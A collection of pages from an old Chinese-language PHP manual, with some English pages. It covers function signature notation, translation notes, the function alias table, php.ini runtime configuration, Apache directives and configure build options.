bool in_array ( mixed needle, array haystack [, bool strict])

这是什么意思？in_array() 返回一个“布尔”值，成功（如果在参数 haystack 中能找到参数 needle）则返回 TRUE 或者失败（如果在参数 haystack 中找不到参数 needle）则返回 FALSE。第一个参数被命名为 needle 且其类型不定，因此我们将其称为“混和”类型。该混和类型的 needle 参数（我们要找的对象）可以适一个标量的值（字符串、整数、或者浮点数），或者一个数组。haystack（我们寻找的范围）是第二个参数。第三个可选参数被命名为 strict。所有的可选参数都用 [ 方括号 ] 括起来。手册表明 strict 参数默认值为布尔值 FALSE。需要了解函数工作的细节，请参阅手册中和该函数相关的页面。

有的函数包含更复杂的 PHP 版本信息。我们拿 html_entity_decode() 举例：

(PHP 4 >= 4.3.0, PHP 5)

它意味着该函数不可在 PHP 3 中使用，只可在 PHP 4.3.0 及以后发布的版本中使用。

add a note add a note User Contributed Notes
php dot devel at homelinkcs dot com
13-Jul-2005 08:50
More specifically, an ampersand (&) prepended to an argument name means that the argument will be passed by reference (http://www.php.net/manual/en/language.references.pass.php).
ceo at l-i-e dot com
10-Mar-2005 07:16
Another thing to watch for is the & in the argument list.

That generally means that the function is going to *CHANGE* the value you pass in, in some way, and you can't rely on it being the same as what you handed off to the function.
add a note add a note

后退 | 起点 | 前进
关于用户注释 | 上一级 | 本手册中所涉及的 PHP 版本


手册译文

《PHP 参考手册》不但有各种不同的格式，而且还有各种语言的版本。手册的正文最初是用英语撰写的，后来有来自全世界各地的工作组致力于本手册各种语言版本的翻译工作。如果某个函数或者章节的内容尚未被翻译，则该语言版本手册的发布将落后于英语版本。

翻译工作者首先从本手册的 XML 源代码（可于 http://cvs.php.net/ 获取）入手，将这些源代码翻译成他们的母语。不要从生成后的 HTML 或纯文本版入手。是由编译系统负责将 XML 源代码转换成可阅读版本。

注: 要帮忙翻译手册，请发一封空的电子邮件到 phpdoc-subscribe@lists.php.net 加入 phpdoc 邮件列表以便与文档翻译小组取得联系。邮件列表的地址为 phpdoc@lists.php.net。请在电子邮件中声明对文档翻译工作感兴趣，有人会回复并帮助加入到已经存在的翻译小组，或者开始新语种的翻译工作。

目前，本手册已经（或部分）有下列语种的译文：巴西葡萄牙语、简体中文、繁体中文、繁体中文（香港）、捷克语、丹麦语、芬兰语、法语、德语、希腊语、希伯来语、匈牙利语、意大利语、日语、朝鲜语、波兰语、罗马尼亚语、俄语、斯洛伐克语、斯洛文尼亚语、西班牙语、瑞典语和土耳其语。

可以访问 http://www.php.net/docs.php 来下载各种版本。

有志于加入 PHP 手册简体中文翻译工作的朋友，首先请详细阅读此文章。有任何问题请向 PHP 文档中文邮件列表提出。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
如何生成手册的各种格式 | 上一级 | 开放出版许可协议


函数别名列表

PHP 手册
后退 前进

附录 I. 函数别名列表

这里是函数别名列表，所有的别名列表如下。通常使用别名并不是一个好主意，这是因为它可能会废弃不用或者重新定义。这会导致不可移植脚本的出现。本列表是为了帮助想要升级他们旧有脚本到新版本语法的开发人员。很多 PHP 函数都有一个别名，可以用别名调用它。在某些情况下，两个名称都非常合适，无从取舍，is_int() 和 is_integer() 就是一个很好的例子。而有些情况则是，由于内部 API 的清理或其它一些原因，函数名被修改，但是老的名称保留了下来，以确保向后兼容性。使用这种别名通常不是个好主意，因为这种别名可能会被完全废弃或更名，导致脚本难以移植到新版本的 PHP 上。我们提供了本列表，来帮助那些要升级旧程序到更新语法的人。

该列表基于 PHP 4.0.6。请点击 http://zend.com/phpfunc/all_aliases.php 查看每日更新的别名列表。

表格 I-1. 别名列表

别名 | 主函数 | 使用的扩展模块
_ | gettext() | Gettext
add | swfmovie_add() | Ming (flash)
add | swfsprite_add() | Ming (flash)
add_root | domxml_add_root() | DOM XML
addaction | swfbutton_addAction() | Ming (flash)
addcolor | swfdisplayitem_addColor() | Ming (flash)
addentry | swfgradient_addEntry() | Ming (flash)
addfill | swfshape_addfill() | Ming (flash)
addshape | swfbutton_addShape() | Ming (flash)
addstring | swftext_addString() | Ming (flash)
addstring | swftextfield_addString() | Ming (flash)
align | swftextfield_align() | Ming (flash)
attributes | domxml_attributes() | DOM XML
children | domxml_children() | DOM XML
chop | rtrim() | 基本语法
close | closedir() | 基本语法
com_get | com_propget() | COM
com_propset | com_propput() | COM
com_set | com_propput() | COM
cv_add | ccvs_add() | CCVS
cv_auth | ccvs_auth() | CCVS
cv_command | ccvs_command() | CCVS
cv_count | ccvs_count() | CCVS
cv_delete | ccvs_delete() | CCVS
cv_done | ccvs_done() | CCVS
cv_init | ccvs_init() | CCVS
cv_lookup | ccvs_lookup() | CCVS
cv_new | ccvs_new() | CCVS
cv_report | ccvs_report() | CCVS
cv_return | ccvs_return() | CCVS
cv_reverse | ccvs_reverse() | CCVS
cv_sale | ccvs_sale() | CCVS
cv_status | ccvs_status() | CCVS
cv_textvalue | ccvs_textvalue() | CCVS
cv_void | ccvs_void() | CCVS
die | exit() | 杂类函数
dir | getdir() | 基本语法
diskfreespace | disk_free_space() | 文件系统函数
domxml_getattr | domxml_get_attribute() | DOM XML
domxml_setattr | domxml_set_attribute() | DOM XML
doubleval | floatval() | 基本语法
drawarc | swfshape_drawarc() | Ming (flash)
drawcircle | swfshape_drawcircle() | Ming (flash)
drawcubic | swfshape_drawcubic() | Ming (flash)
drawcubicto | swfshape_drawcubicto() | Ming (flash)
drawcurve | swfshape_drawcurve() | Ming (flash)
drawcurveto | swfshape_drawcurveto() | Ming (flash)
drawglyph | swfshape_drawglyph() | Ming (flash)
drawline | swfshape_drawline() | Ming (flash)
drawlineto | swfshape_drawlineto() | Ming (flash)
dtd | domxml_intdtd() | DOM XML
dumpmem | domxml_dumpmem() | DOM XML
fbsql | fbsql_db_query() | FrontBase
fputs | fwrite() | 基本语法
get_attribute | domxml_get_attribute() | DOM XML
getascent | swffont_getAscent() | Ming (flash)
getascent | swftext_getAscent() | Ming (flash)
getattr | domxml_get_attribute() | DOM XML
getdescent | swffont_getDescent() | Ming (flash)
getdescent | swftext_getDescent() | Ming (flash)
getheight | swfbitmap_getHeight() | Ming (flash)
getleading | swffont_getLeading() | Ming (flash)
getleading | swftext_getLeading() | Ming (flash)
getshape1 | swfmorph_getShape1() | Ming (flash)
getshape2 | swfmorph_getShape2() | Ming (flash)
getwidth | swfbitmap_getWidth() | Ming (flash)
getwidth | swffont_getWidth() | Ming (flash)
getwidth | swftext_getWidth() | Ming (flash)
gzputs | gzwrite() | Zlib
i18n_convert | mb_convert_encoding() | 多字节字符串函数
i18n_discover_encoding | mb_detect_encoding() | 多字节字符串函数
i18n_http_input | mb_http_input() | 多字节字符串函数
i18n_http_output | mb_http_output() | 多字节字符串函数
i18n_internal_encoding | mb_internal_encoding() | 多字节字符串函数
i18n_ja_jp_hantozen | mb_convert_kana() | 多字节字符串函数
i18n_mime_header_decode | mb_decode_mimeheader() | 多字节字符串函数
i18n_mime_header_encode | mb_encode_mimeheader() | 多字节字符串函数
imap_create | imap_createmailbox() | IMAP
imap_fetchtext | imap_body() | IMAP
imap_getmailboxes | imap_list_full() | IMAP
imap_getsubscribed | imap_lsub_full() | IMAP
imap_header | imap_headerinfo() | IMAP
imap_listmailbox | imap_list() | IMAP
imap_listsubscribed | imap_lsub() | IMAP
imap_rename | imap_renamemailbox() | IMAP
imap_scan | imap_listscan() | IMAP
imap_scanmailbox | imap_listscan() | IMAP
ini_alter | ini_set() | 基本语法
is_double | is_float() | 基本语法
is_integer | is_int() | 基本语法
is_long | is_int() | 基本语法
is_real | is_float() | 基本语法
is_writeable | is_writable() | 基本语法
join | implode() | 基本语法
labelframe | swfmovie_labelFrame() | Ming (flash)
labelframe | swfsprite_labelFrame() | Ming (flash)
last_child | domxml_last_child() | DOM XML
lastchild | domxml_last_child() | DOM XML
ldap_close | ldap_unbind() | LDAP
magic_quotes_runtime | set_magic_quotes_runtime() | 基本语法
mbstrcut | mb_strcut() | 多字节字符串函数
mbstrlen | mb_strlen() | 多字节字符串函数
mbstrpos | mb_strpos() | 多字节字符串函数
mbstrrpos | mb_strrpos() | 多字节字符串函数
mbsubstr | mb_substr() | 多字节字符串函数
ming_setcubicthreshold | ming_setCubicThreshold() | Ming (flash)
ming_setscale | ming_setScale() | Ming (flash)
move | swfdisplayitem_move() | Ming (flash)
movepen | swfshape_movepen() | Ming (flash)
movepento | swfshape_movepento() | Ming (flash)
moveto | swfdisplayitem_moveTo() | Ming (flash)
moveto | swffill_moveTo() | Ming (flash)
moveto | swftext_moveTo() | Ming (flash)
msql | msql_db_query() | mSQL
msql_createdb | msql_create_db() | mSQL
msql_dbname | msql_result() | mSQL
msql_dropdb | msql_drop_db() | mSQL
msql_fieldflags | msql_field_flags() | mSQL
msql_fieldlen | msql_field_len() | mSQL
msql_fieldname | msql_field_name() | mSQL
msql_fieldtable | msql_field_table() | mSQL
msql_fieldtype | msql_field_type() | mSQL
msql_freeresult | msql_free_result() | mSQL
msql_listdbs | msql_list_dbs() | mSQL
msql_listfields | msql_list_fields() | mSQL
msql_listtables | msql_list_tables() | mSQL
msql_numfields | msql_num_fields() | mSQL
msql_numrows | msql_num_rows() | mSQL
msql_regcase | sql_regcase() | mSQL
msql_selectdb | msql_select_db() | mSQL
msql_tablename | msql_result() | mSQL
mssql_affected_rows | sybase_affected_rows() | Sybase
mssql_affected_rows | sybase_affected_rows() | Sybase
mssql_close | sybase_close() | Sybase
mssql_close | sybase_close() | Sybase
mssql_connect | sybase_connect() | Sybase
mssql_connect | sybase_connect() | Sybase
mssql_data_seek | sybase_data_seek() | Sybase
mssql_data_seek | sybase_data_seek() | Sybase
mssql_fetch_array | sybase_fetch_array() | Sybase
mssql_fetch_array | sybase_fetch_array() | Sybase
mssql_fetch_field | sybase_fetch_field() | Sybase
mssql_fetch_field | sybase_fetch_field() | Sybase
mssql_fetch_object | sybase_fetch_object() | Sybase
mssql_fetch_object | sybase_fetch_object() | Sybase
mssql_fetch_row | sybase_fetch_row() | Sybase
mssql_fetch_row | sybase_fetch_row() | Sybase
mssql_field_seek | sybase_field_seek() | Sybase
mssql_field_seek | sybase_field_seek() | Sybase
mssql_free_result | sybase_free_result() | Sybase
mssql_free_result | sybase_free_result() | Sybase
mssql_get_last_message | sybase_get_last_message() | Sybase
mssql_get_last_message | sybase_get_last_message() | Sybase
mssql_min_client_severity | sybase_min_client_severity() | Sybase
mssql_min_error_severity | sybase_min_error_severity() | Sybase
mssql_min_message_severity | sybase_min_message_severity() | Sybase
mssql_min_server_severity | sybase_min_server_severity() | Sybase
mssql_num_fields | sybase_num_fields() | Sybase
mssql_num_fields | sybase_num_fields() | Sybase
mssql_num_rows | sybase_num_rows() | Sybase
mssql_num_rows | sybase_num_rows() | Sybase
mssql_pconnect | sybase_pconnect() | Sybase
mssql_pconnect | sybase_pconnect() | Sybase
mssql_query | sybase_query() | Sybase
mssql_query | sybase_query() | Sybase
mssql_result | sybase_result() | Sybase
mssql_result | sybase_result() | Sybase
mssql_select_db | sybase_select_db() | Sybase
mssql_select_db | sybase_select_db() | Sybase
multcolor | swfdisplayitem_multColor() | Ming (flash)
mysql | mysql_db_query() | MySQL
mysql_createdb | mysql_create_db() | MySQL
mysql_db_name | mysql_result() | MySQL
mysql_dbname | mysql_result() | MySQL
mysql_dropdb | mysql_drop_db() | MySQL
mysql_fieldflags | mysql_field_flags() | MySQL
mysql_fieldlen | mysql_field_len() | MySQL
mysql_fieldname | mysql_field_name() | MySQL
mysql_fieldtable | mysql_field_table() | MySQL
mysql_fieldtype | mysql_field_type() | MySQL
mysql_freeresult | mysql_free_result() | MySQL
mysql_listdbs | mysql_list_dbs() | MySQL
mysql_listfields | mysql_list_fields() | MySQL
mysql_listtables | mysql_list_tables() | MySQL
mysql_numfields | mysql_num_fields() | MySQL
mysql_numrows | mysql_num_rows() | MySQL
mysql_selectdb | mysql_select_db() | MySQL
mysql_tablename | mysql_result() | MySQL
name | domxml_attrname() | DOM XML
new_child | domxml_new_child() | DOM XML
new_xmldoc | domxml_new_xmldoc() | DOM XML
nextframe | swfmovie_nextFrame() | Ming (flash)
nextframe | swfsprite_nextFrame() | Ming (flash)
node | domxml_node() | DOM XML
oci8append | ocicollappend() | OCI8
oci8assign | ocicollassign() | OCI8
oci8assignelem | ocicollassignelem() | OCI8
oci8close | ocicloselob() | OCI8
oci8free | ocifreecoll() | OCI8
oci8free | ocifreedesc() | OCI8
oci8getelem | ocicollgetelem() | OCI8
oci8load | ociloadlob() | OCI8
oci8max | ocicollmax() | OCI8
oci8ocifreecursor | ocifreestatement() | OCI8
oci8save | ocisavelob() | OCI8
oci8savefile | ocisavelobfile() | OCI8
oci8size | ocicollsize() | OCI8
oci8trim | ocicolltrim() | OCI8
oci8writetemporary | ociwritetemporarylob() | OCI8
oci8writetofile | ociwritelobtofile() | OCI8
odbc_do | odbc_exec() | ODBC
odbc_field_precision | odbc_field_len() | ODBC
output | swfmovie_output() | Ming (flash)
parent | domxml_parent() | DOM XML
pdf_add_outline | pdf_add_bookmark() | PDF
pg_clientencoding | pg_client_encoding() | PostgreSQL
pg_setclientencoding | pg_set_client_encoding() | PostgreSQL
pos | current() | 基本语法
recode | recode_string() | Recode
remove | swfmovie_remove() | Ming (flash)
remove | swfsprite_remove() | Ming (flash)
rewind | rewinddir() | 基本语法
root | domxml_root() | DOM XML
rotate | swfdisplayitem_rotate() | Ming (flash)
rotateto | swfdisplayitem_rotateTo() | Ming (flash)
rotateto | swffill_rotateTo() | Ming (flash)
save | swfmovie_save() | Ming (flash)
savetofile | swfmovie_saveToFile() | Ming (flash)
scale | swfdisplayitem_scale() | Ming (flash)
scaleto | swfdisplayitem_scaleTo() | Ming (flash)
scaleto | swffill_scaleTo() | Ming (flash)
set_attribute | domxml_set_attribute() | DOM XML
set_content | domxml_set_content() | DOM XML
setaction | swfbutton_setAction() | Ming (flash)
setattr | domxml_set_attribute() | DOM XML
setbackground | swfmovie_setBackground() | Ming (flash)
setbounds | swftextfield_setBounds() | Ming (flash)
setcolor | swftext_setColor() | Ming (flash)
setcolor | swftextfield_setColor() | Ming (flash)
setdepth | swfdisplayitem_setDepth() | Ming (flash)
setdimension | swfmovie_setDimension() | Ming (flash)
setdown | swfbutton_setDown() | Ming (flash)
setfont | swftext_setFont() | Ming (flash)
setfont | swftextfield_setFont() | Ming (flash)
setframes | swfmovie_setFrames() | Ming (flash)
setframes | swfsprite_setFrames() | Ming (flash)
setheight | swftext_setHeight() | Ming (flash)
setheight | swftextfield_setHeight() | Ming (flash)
sethit | swfbutton_setHit() | Ming (flash)
setindentation | swftextfield_setIndentation() | Ming (flash)
setleftfill | swfshape_setleftfill() | Ming (flash)
setleftmargin | swftextfield_setLeftMargin() | Ming (flash)
setline | swfshape_setline() | Ming (flash)
setlinespacing | swftextfield_setLineSpacing() | Ming (flash)
setmargins | swftextfield_setMargins() | Ming (flash)
setmatrix | swfdisplayitem_setMatrix() | Ming (flash)
setname | swfdisplayitem_setName() | Ming (flash)
setname | swftextfield_setName() | Ming (flash)
setover | swfbutton_setOver() | Ming (flash)
setrate | swfmovie_setRate() | Ming (flash)
setratio | swfdisplayitem_setRatio() | Ming (flash)
setrightfill | swfshape_setrightfill() | Ming (flash)
setrightmargin | swftextfield_setRightMargin() | Ming (flash)
setspacing | swftext_setSpacing() | Ming (flash)
setup | swfbutton_setUp() | Ming (flash)
show_source | highlight_file () | 基本语法
sizeof | count() | 基本语法
skewx | swfdisplayitem_skewX() | Ming (flash)
skewxto | swfdisplayitem_skewXTo() | Ming (flash)
skewxto | swffill_skewXTo() | Ming (flash)
skewy | swfdisplayitem_skewY() | Ming (flash)
skewyto | swfdisplayitem_skewYTo() | Ming (flash)
skewyto | swffill_skewYTo() | Ming (flash)
snmpwalkoid | snmprealwalk() | SNMP
strchr | strstr() | 基本语法
streammp3 | swfmovie_streamMp3() | Ming (flash)
swfaction | swfaction_init() | Ming (flash)
swfbitmap | swfbitmap_init() | Ming (flash)
swfbutton | swfbutton_init() | Ming (flash)
swffill | swffill_init() | Ming (flash)
swffont | swffont_init() | Ming (flash)
swfgradient | swfgradient_init() | Ming (flash)
swfmorph | swfmorph_init() | Ming (flash)
swfmovie | swfmovie_init() | Ming (flash)
swfshape | swfshape_init() | Ming (flash)
swfsprite | swfsprite_init() | Ming (flash)
swftext | swftext_init() | Ming (flash)
swftextfield | swftextfield_init() | Ming (flash)
unlink | domxml_unlink_node() | DOM XML
xptr_new_context | xpath_new_context() | DOM XML

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
按状态分 | 上一级 | 保留字列表


附录

PHP 手册
后退 前进

IX. 附录

目录
A. PHP 及其相关工程的历史
B. 从 PHP 4 移植到 PHP 5
C. 从 PHP 3 移植到 PHP 4
D. 从 PHP/FI 2 移植到 PHP 3
E. PHP 的调试
F. 配置选项
G. php.ini 配置选项
H. 扩展库分类
I. 函数别名列表
J. 保留字列表
K. 资源类型列表
L. 支持的协议／封装协议列表
M. 可用过滤器列表
N. 所支持的套接字传输器（Socket Transports）列表
O. PHP 类型比较表
P. 解析器代号列表
Q. 关于本手册
R. 开放出版许可协议
S. 函数索引

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
杂类问题 |  | PHP 及其相关工程的历史


Calling User Functions

To call user functions from an internal function, you should use the call_user_function() function.

call_user_function() returns SUCCESS on success, and FAILURE in case the function cannot be found. You should check that return value! If it returns SUCCESS, you are responsible for destroying the retval pval yourself (or return it as the return value of your function). If it returns FAILURE, the value of retval is undefined, and you mustn't touch it.

All internal functions that call user functions must be reentrant. Among other things, this means they must not use globals or static variables.

call_user_function() takes six arguments:

HashTable *function_table

This is the hash table in which the function is to be looked up.

pval *object

This is a pointer to an object on which the function is invoked. This should be NULL if a global function is called. If it's not NULL (i.e. it points to an object), the function_table argument is ignored, and instead taken from the object's hash. The object *may* be modified by the function that is invoked on it (that function will have access to it via $this). If for some reason you don't want that to happen, send a copy of the object instead.

pval *function_name

The name of the function to call. Must be a pval of type IS_STRING with function_name.str.val and function_name.str.len set to the appropriate values. The function_name is modified by call_user_function() - it's converted to lowercase. If you need to preserve the case, send a copy of the function name instead.

pval *retval

A pointer to a pval structure, into which the return value of the invoked function is saved. The structure must be previously allocated - call_user_function() does NOT allocate it by itself.

int param_count

The number of parameters being passed to the function.

pval *params[]

An array of pointers to values that will be passed as arguments to the function, the first argument being in offset 0, the second in offset 1, etc. The array is an array of pointers to pval's; The pointers are sent as-is to the function, which means if the function modifies its arguments, the original values are changed (passing by reference). If you don't want that behavior, pass a copy instead.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
扩展 PHP 3 | 上一级 | Reporting Errors


运行时配置

PHP 手册
后退 前进

章 9. 运行时配置

目录
配置文件
怎样修改配置设定

配置文件

配置文件（PHP 3 中是 php3.ini，自 PHP 4 起是 php.ini）在 PHP 启动时被读取。对于服务器模块版本的 PHP，仅在 web 服务器启动时读取一次。对于 CGI 和 CLI 版本，每次调用都会读取。

php.ini 的搜索路径如下（按顺序）：

  • SAPI 模块所指定的位置（Apache 2 中的 PHPIniDir 指令，CGI 和 CLI 中的 -c 命令行选项，NSAPI 中的 php_ini 参数，THTTPD 中的 PHP_INI_PATH 环境变量）

  • HKEY_LOCAL_MACHINE\SOFTWARE\PHP\IniFilePath（Windows 注册表位置）

  • PHPRC 环境变量

  • 当前工作目录（对于 CLI）

  • web 服务器目录（对于 SAPI 模块）或 PHP 所在目录（Windows 下其它情况）

  • Windows 目录（C:\windows 或 C:\winnt），或 --with-config-file-path 编译时选项指定的位置

如果存在 php-SAPI.ini（SAPI 是当前所用的 SAPI 名称，因此实际文件名为 php-cli.ini 或 php-apache.ini 等），则会用它替代 php.ini。SAPI 的名称可以用 php_sapi_name() 来测定。

注: Apache web 服务器在启动时会把目录转到根目录，这将导致 PHP 尝试在根目录下读取 php.ini，如果存在的话。

由扩展库处理的 php.ini 指令，其文档分别在各扩展库的页面。内核配置选项见附录。不过也许不是所有的 PHP 指令都在手册中有文档说明。要得到自己的 PHP 版本中的配置指令完整列表，请阅读 php.ini 文件，其中都有注释。此外，也许从 CVS 得到的最新版 php.ini 也有帮助。

例子 9-1. php.ini 例子

; any text on a line after an unquoted semicolon (;) is ignored
[php] ; section markers (text within square brackets) are also ignored
; Boolean values can be set to either:
;    true, on, yes
; or false, off, no, none
register_globals = off
track_errors = yes

; you can enclose strings in double-quotes
include_path = ".:/usr/local/lib/php"

; backslashes are treated the same as any other character
include_path = ".;c:\php\lib"

自 PHP 5.1.0 起，有可能在 .ini 文件内引用已存在的 .ini 变量。例如：open_basedir = ${open_basedir} ":/new/dir"。

add a note add a note User Contributed Notes
Trevor Blackbird > yurab.com
11-Apr-2006 06:50
You can use also use the predefined PHP_SAPI constant instead of php_sapi_name().
c dot affolter at stepping-stone dot ch
13-Mar-2006 09:38
For those people who want to use the PHPRC environment variable:
You have to specify the path to the directory containing your php.ini, not the direct path to the php.ini.

Example (php.ini resides in /your/path/php.ini):
right:
export PHPRC=/your/path

wrong:
export PHPRC=/your/path/php.ini
randy AT rcs-comp DOT com
27-May-2005 03:47
(copied from another page)
Please note that the SetEnv PHPRC "directory/to/phpini/" only works when using PHP as CGI, but _not_ when you use the PHP Apache Module!
Jorrit Schippers
26-May-2004 07:33
For IIS users: If you experience high parsetimes, try to set output_buffering to On. IIS has problems with scripts outputting many small pieces of text, and with output_buffering = On, PHP sends the whole page to IIS in one piece.
add a note add a note

后退 | 起点 | 前进
错误报告 | 上一级 | 怎样修改配置设定


怎样修改配置设定

PHP 运行于 Apache 模块方式

当使用 PHP 作为 Apache 模块时，也可以用 Apache 的配置文件（例如 httpd.conf）和 .htaccess 文件中的指令来修改 PHP 的配置设定。需要有“AllowOverride Options”或“AllowOverride All”权限才可以。

在 PHP 4 和 PHP 5 中，有几个 Apache 指令可以使用户在 Apache 配置文件内部修改 PHP 的配置。哪些指令属于 PHP_INI_ALL，PHP_INI_PERDIR 或 PHP_INI_SYSTEM 中的哪一个，请参考附录中的 php.ini 配置选项列表。

注: 在 PHP 3 中，每个 php3.ini 中的配置设定都有相应的 Apache 指令，不过名字前要加上前缀“php3_”。

php_value name value

设定指定的值。只能用于 PHP_INI_ALL 或 PHP_INI_PERDIR 类型的指令。要清除先前设定的值，把 value 设为 none。

注: 不要用 php_value 设定布尔值。应该用 php_flag（见下面）。

php_flag name on|off

用来设定布尔值的配置指令。仅能用于 PHP_INI_ALL 和 PHP_INI_PERDIR 类型的指令。

php_admin_value name value

设定指定的指令的值。不能用于 .htaccess 文件。任何用 php_admin_value 设定的指令都不能被 .htaccess 或 virtualhost 中的指令覆盖。要清除先前设定的值，把 value 设为 none。

php_admin_flag name on|off

用来设定布尔值的配置指令。不能用于 .htaccess 文件。任何用 php_admin_flag 设定的指令都不能被 .htaccess 或 virtualhost 中的指令覆盖。

例子 9-2. Apache 配置例子

<IfModule mod_php5.c>
  php_value include_path ".:/usr/local/lib/php"
  php_admin_flag safe_mode on
</IfModule>
<IfModule mod_php4.c>
  php_value include_path ".:/usr/local/lib/php"
  php_admin_flag safe_mode on
</IfModule>
<IfModule mod_php3.c>
  php3_include_path ".:/usr/local/lib/php"
  php3_safe_mode on
</IfModule>

注意

PHP 常量不存在于 PHP 之外。例如在 httpd.conf 中不能使用 PHP 常量如 E_ALL 或 E_NOTICE 来设定 error_reporting 指令，因为其无意义，实际等于 0。应该用相应的掩码值来替代。这些常量可以在 php.ini 中使用。

通过 Windows 注册表修改 PHP 配置

在 Windows 下运行 PHP 时，可以用 Windows 注册表以目录为单位来修改配置。配置值存放于注册表项 HKLM\SOFTWARE\PHP\Per Directory Values 下面，子项对应于路径名。例如对于目录 c:\inetpub\wwwroot 的配置值会存放于 HKLM\SOFTWARE\PHP\Per Directory Values\c\inetpub\wwwroot 项下面。其中的设定对于任何位于此目录及其任何子目录的脚本都有效。项中的值的名称是 PHP 配置指令的名字，值的数据是字符串格式的指令值。值中的 PHP 常量不被解析。不过只有可修改范围是 PHP_INI_USER 的配置值可以用此方法设定，PHP_INI_PERDIR 的值就不行。

其它接口下的 PHP

无论怎样运行 PHP，都可以在脚本中通过 ini_set() 而在运行时修改某个值。更多信息见手册中 ini_set() 的页面。

如果对自己系统中的配置设定及其当前值的完整列表感兴趣，可以运行
phpinfo() 函数并查看其结果的页面。也可以在运行时用
ini_get() 或
get_cfg_var() 取得个别配置指令的值。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
运行时配置 | 上一级 | 语言参考


配置选项

PHP 手册
后退 前进

附录 F. 配置选项

目录
核心配置选项列表

核心配置选项列表

下面是 PHP 的 configure 脚本使用的部分选项的列表，用于类 Unix 环境的编译。大部分配置选项在扩展模块参考页面适当的位置列出，而不是在这里。要查看所有可用配置选项的列表，在运行 autoconf 命令后在 PHP 的源代码目录运行 ./configure --help（参见安装与配置一章）。也可以阅读 GNU configure 文档以获得有关 configure 命令的更详细信息，例如 --prefix=PREFIX。

注: 这些选项只用在编译的时候。如果想要修改 PHP 的运行时配置，请阅读运行时配置。

  • 杂项

  • PHP 行为

  • 服务器

在 PHP 4 中的配置选项

注: 这些选项仅适用于 PHP 4.1.0 以上版本。尽管某些选项可以用在较旧版本的 PHP 4，甚至 PHP 3，如果想编译旧版本的 PHP，请注意有些选项不可用。

杂项选项

--enable-debug

编译时加入调试符号。

--with-layout=TYPE

设置被安装文件的布局。TYPE 是 PHP（默认）或 GNU。

--with-pear=DIR

在 DIR（默认为 PREFIX/lib/php）中安装 PEAR。

--without-pear

不安装 PEAR。

--enable-sigchild

使用 PHP 自带的 SIGCHLD 处理器。

--disable-rpath

禁用在搜索路径中传递其他运行库。

--enable-libgcc

启用 libgcc 的精确链接。

--enable-php-streams

包含试验性的 PHP 流。不要使用此选项，除非是要测试代码！

--with-zlib-dir[=DIR]

定义 zlib 的安装目录。

--enable-trans-sid

启用透明 session id 传输。仅适用于 PHP 4.1.2 或更低版本。PHP 4.2.0 以后，透明 sid 功能默认被编译其中。

--with-tsrm-pthreads

使用 POSIX 线程（默认）。

--enable-shared[=PKGS]

编译共享库 [default=yes]。

--enable-static[=PKGS]

编译静态库 [default=yes]。

--enable-fast-install[=PKGS]

为快速安装优化 [default=yes]。

--with-gnu-ld

假设 C 编译器使用 GNU ld [default=no]。

--disable-libtool-lock

避免锁死（可能破坏并联的编译）。

--with-pic

尝试仅使用 PIC/非 PIC 对象 [default=use both]。

--enable-memory-limit

编译内存限制支持功能。

--disable-url-fopen-wrapper

禁用 URL 形式的 fopen 封装协议。该协议允许通过 HTTP 或者 FTP 访问文件。

--enable-versioning

仅导出必须的符号。查看 INSTALL 文件以获得更多信息。

--with-imsp[=DIR]

包含 IMSP 支持（DIR 是 IMSP 的 include 目录和 libimsp.a 所在目录）。此选项仅在 PHP 3 中有效！

--with-mck[=DIR]

包含 Cybercash MCK 支持。DIR 是 cybercash mck 的编译目录，默认为 /usr/src/mck-3.2.0.3-linux。更多帮助情查看 extra/cyberlib 内的文件。此选项仅在 PHP 3 中有效！

--with-mod-dav=DIR

通过 Apache 的 mod_dav 实现对 DAV 的支持。DIR 是 mod_dav 的安装目录 (仅对以 Apache 模块方式安装的 PHP 有效)。此选项仅在 PHP 3 中有效！

--enable-debugger

编译远程调试功能。此选项仅在 PHP 3 中有效！

--enable-versioning

利用 Solaris 2.x 和 Linux 提供的版本管理（versioning）和范围（scoping）。此选项仅在 PHP 3 中有效！

PHP 选项

--enable-maintainer-mode

对偶然安装一下的情形启用此选项，使得不检查编译规则和依赖关系。

--with-config-file-path=PATH

设置 php.ini 的搜索路径。默认为 PREFIX/lib。

--enable-safe-mode

默认启用安全模式。

--with-exec-dir[=DIR]

在安全模式时仅允许在 DIR 目录中执行。默认目录为 /usr/local/php/bin。

--enable-magic-quotes

默认启用 magic quotes。

--disable-short-tags

默认禁用短形式的开始标签 <? 。

SAPI 选项

下面的列表包含 PHP 可用的SAPI（服务器应用编程接口）。

--with-aolserver=DIR

指定 AOLserver 的安装路径。

--with-apxs[=FILE]

编译共享的 Apache 模块。FILE 是可选的 Apache apxs 工具的路径，默认指向 apxs。请确认指定的 apxs 已经安装在服务器中，并且它不是 Apache 源码包中的那个 apxs。

--with-apache[=DIR]

编译静态 Apache 模块。DIR 是 Apache 编译目录的顶层，默认为 /usr/local/apache。

--with-mod_charset

启用 mod_charset 的转换表（俄文的 Apache 使用）。

--with-apxs2[=FILE]

编译共享的 Apache 2.0 模块。FILE 是可选的 Apache apxs 工具的路径，默认指向 apxs。

--with-caudium=DIR

为使用 Caudium 编译 PHP 为一个 Pike 模块。DIR 是 Caudium 服务器目录，默认为 /usr/local/caudium/server。

--disable-cli

PHP 4.3.0 之后的版本有效。禁止编译 PHP 的 CLI 版本（使用它将同时强制使用 --without-pear 选项）。更多信息请查考 PHP 的命令行模式。

--enable-embed[=TYPE]

启用编译嵌入的 SAPI 库。TYPE 或者为 shared 或者为 static，默认为 shared。PHP 4.3.0 之后的版本有效。

--with-fhttpd[=DIR]

编译 fhttpd 模块。DIR 是 fhttpd 源代码目录，默认为 /usr/local/src/fhttpd。PHP 4.3.0 及以后的版本此选项不再有效。

--with-isapi=DIR

为 Zeus 服务器以 ISAPI 模块方式编译 PHP。

--with-nsapi=DIR

指定 Netscape/iPlanet/SunONE 的安装目录。

--with-phttpd=DIR

还没有信息。

--with-pi3web=DIR

为 Pi3Web 服务器编译 PHP 模块。

--with-roxen=DIR

以 Pike 模块方式编译 PHP。DIR 是 Roxen 的根目录，默认为 /usr/local/roxen/server。

--enable-roxen-zts

使用 Zend 线程安全（ZTS）编译 Roxen 模块。

--with-servlet[=DIR]

